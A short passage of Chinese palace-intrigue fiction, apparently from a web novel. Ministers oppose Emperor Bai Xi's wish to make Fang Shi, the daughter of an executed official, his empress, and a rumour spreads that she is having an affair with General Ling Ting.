更别提方施乃罪臣之女,全家问斩,早已无依无靠。 于是可想而知,成百上千的谏言奏折被呈到白曦面前,逼迫他打消立方施为后的念头。 白曦身为帝王,哪能任由朝臣牵着鼻子走?既然方施做不成皇后,那么后位就此悬空,亦无不妥之处。 就在君臣僵持之际,一条惊天动地的消息野火蔓延般席卷了整个朝堂。 元妃方施与镇元大将军凌霆,有私情。